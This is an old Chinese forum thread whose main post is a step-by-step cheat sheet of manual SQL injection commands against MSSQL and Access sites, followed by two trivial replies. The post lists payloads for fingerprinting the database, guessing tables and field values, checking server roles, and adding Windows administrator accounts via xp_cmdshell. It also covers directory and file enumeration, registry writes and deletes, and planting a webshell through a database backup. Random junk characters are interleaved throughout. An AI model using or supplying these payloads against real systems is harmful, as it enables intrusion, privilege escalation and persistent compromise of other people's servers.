社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4947阅读
  • 2回复

手动方式SQL注入脚本命令

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
1.判断是否有注入;and 1=1 ;and 1=2 OEr:xK2T  
  2.初步判断是否是mssql ;and user>0 =R*Gk4<Y  
8|twV35  
  3.注入参数是字符'and [查询条件] and ''=' NkxCs  
tNs~M4TVVH  
  4.搜索时没过滤参数的'and [查询条件] and '%25'='  &K^MN d  
`P+(&taT  
  5.判断数据库系统  0JRD  
T)7TyE|"2g  
  ;and (select count(*) from sysobjects)>0 mssql 5H,G-  
M ixwK,  
  ;and (select count(*) from msysobjects)>0 access >zY \Llv  
F)$K  
wN37zPnV~  
5TBI<K  
  6.猜数据库 ;and (select Count(*) from [数据库名])>0 :&'{mJW*{t  
u"$a>S_  
  7.猜字段 ;and (select Count(字段名) from 数据库名)>0 0BkV/v1Uc  
PM$Ee #62R  
  8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 &ntBU]< q  
\o3"~\|6C  
  9.(1)猜字段的ascii值(access) j_?cpm{~ml  
FgA//)1  
  ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 dTEJ=d40  
5T4"j;_.BL  
  (2)猜字段的ascii值(mssql) sc`"P-J+vp  
kR.wOJ7'  
  ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 *.y'(tj[  
PX".Km p.  
  10.测试权限结构(mssql) ApPy]IdwX  
go)p%}s  
U6 82 Th  
?SY<~i<K-  
  ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 71B3a  
YTY%#"  
  ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 4YbC(f  
 e/e0d<(1  
  ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- dhRJg"vrQ  
7INk_2  
  ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- a ib}`l  
^[h2%c$  
  ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 2xmk,&s  
HOYq?40.R  
  ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 5!fSW2N  
#G _/.h@  
  ;and 1=(select IS_MEMBER('db_owner'));-- x;$|#]+  
<Mgf]v.QS  
[j6~}zu@  
||TtNH  
  11.添加mssql和系统的帐户 [h}K$q  
vW.%[]  
  ;exec master.dbo.sp_addlogin username;-- %u]6KrG18b  
  ;exec master.dbo.sp_password null,username,password;-- #t71U a  
RJ J1  
  ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- {K aN,td9  
l%"`{   
  ;exec master.dbo.xp_cmdshell 'net user username password 993d/z|DX  
H$!-f>Rxa  
  /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 'ND36jHcRD  
FuP}Kec  
  ;exec master.dbo.xp_cmdshell 'net user username password /add';-- m% bE-#  
#0MK(Ut/  
  ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- `6 Y33bQ  
*M!kA65'  
`ENP=kL(+  
P!\hnm)%4  
  12.(1)遍历目录 lC9S\s  
UC9{m252  
  ;create table dirs(paths varchar(100), id int) !y vJpdsof  
p?myuNd[  
  ;insert dirs exec master.dbo.xp_dirtree 'c:\' 'tWAuI  
o<4D=.g7D  
  ;and (select top 1 paths from dirs)>0 9G:TW|)L[Q  
'XfgBJF=  
  ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) *m_93J  
Fn,k!q  
vnsSy33K  
>iy^$bqF  
  (2)遍历目录 >a]t<  
?R?Grw)`H  
  ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- r=csi  
  ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 CM 9P"-  
i>Iee^_(  
  ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 7Jx%JgF  
GJak.,0t  
  ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 .)ST[G]WK  
1)U} i ^  
  ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 F!CAitxd  
qc0 B<,x7  
atnQC  
('WY5Yps  
  13.mssql中的存储过程 ,+-?Zv 2  
oeN zHp_  
  xp_regenumvalues 注册表根键, 子键 #\b ;2>  
a>b8- j=J  
  ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 [-VGArD[k,  
"|4jP za  
  xp_regread 根键,子键,键值名 P0#`anUr1  
;QidDi_s>  
  ;exec xp_regread IxP^i{/1?  
v' 0!=r  
  'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 Iq,v  
uYTCdZQh  
  xp_regwrite 根键,子键, 值名, 值类型, 值 F"BL #g66  
.}p|`3$P  
  值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 G^KC&  
4$i}Xk#3  
  ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 6F ;Or  
LVmY=d>  
  xp_regdeletevalue 根键,子键,值名 N*1  
5DSuUEvWcL  
  exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 0#=W#Jl>  
%^')G+>i  
  xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 8*)4"rS  
H XP;0B%4  
$nFAu}%C  
e?vj+ZlS$f  
  14.mssql的backup创建webshell i puo}  
IozNjII$:.  
  use model U3VT*nj'  
S>EDL  
  create table cmd(str image); E!dp~RwZu  
;Xh5oB\)W  
  insert into cmd(str) values (''); [0(mFMC`  
"3ug}k  
  backup database model to disk='c:\l.asp'; =AzOnXW:S  
5Jd` ^U  
EP0a1.C  
OequU'j  
  15.mssql内置函数 C M^r|4 K  
>Qk97we'9  
  ;and (select @@version)>0 获得Windows的版本号 ER2V*,n@  
7V/Zr  
  ;and user_name()='dbo' 判断当前系统的连接用户是不是sa I}ndRDz[  
.pKN4  
  ;and (select user_name())>0 爆当前系统的连接用户 0lf"w@/  
/1N)d?Pcl  
  ;and (select db_name())>0 得到当前连接的数据库 +Z$a1 Y@  
cE 2Rr  
DCK_F8  
rT<1S?jR  
  16.简洁的webshell `r9^:TMN  
CwB] )QV?  
  use model 43F^J%G  
:P"9;$FY  
  create table cmd(str image); _0*=u$~R  
ZZwBOGVU  
  insert into cmd(str) values (''); T"B8;|  
sOC| B  
  backup database model to disk='g:\wwwtest\l.asp';
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 经院博士
发帖
3975
铜板
4727
人品值
1147
贡献值
565
交易币
0
好评度
3833
信誉值
0
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-08-31
学习.......... 呵呵 我是好人
引用

引用
想找我?如果我即不在 石家庄经济学院论坛www.uebbs.net,也不在宿舍,那,我肯定是在去的路上

引用
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2006-08-31
这个和好人有关系吗?
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八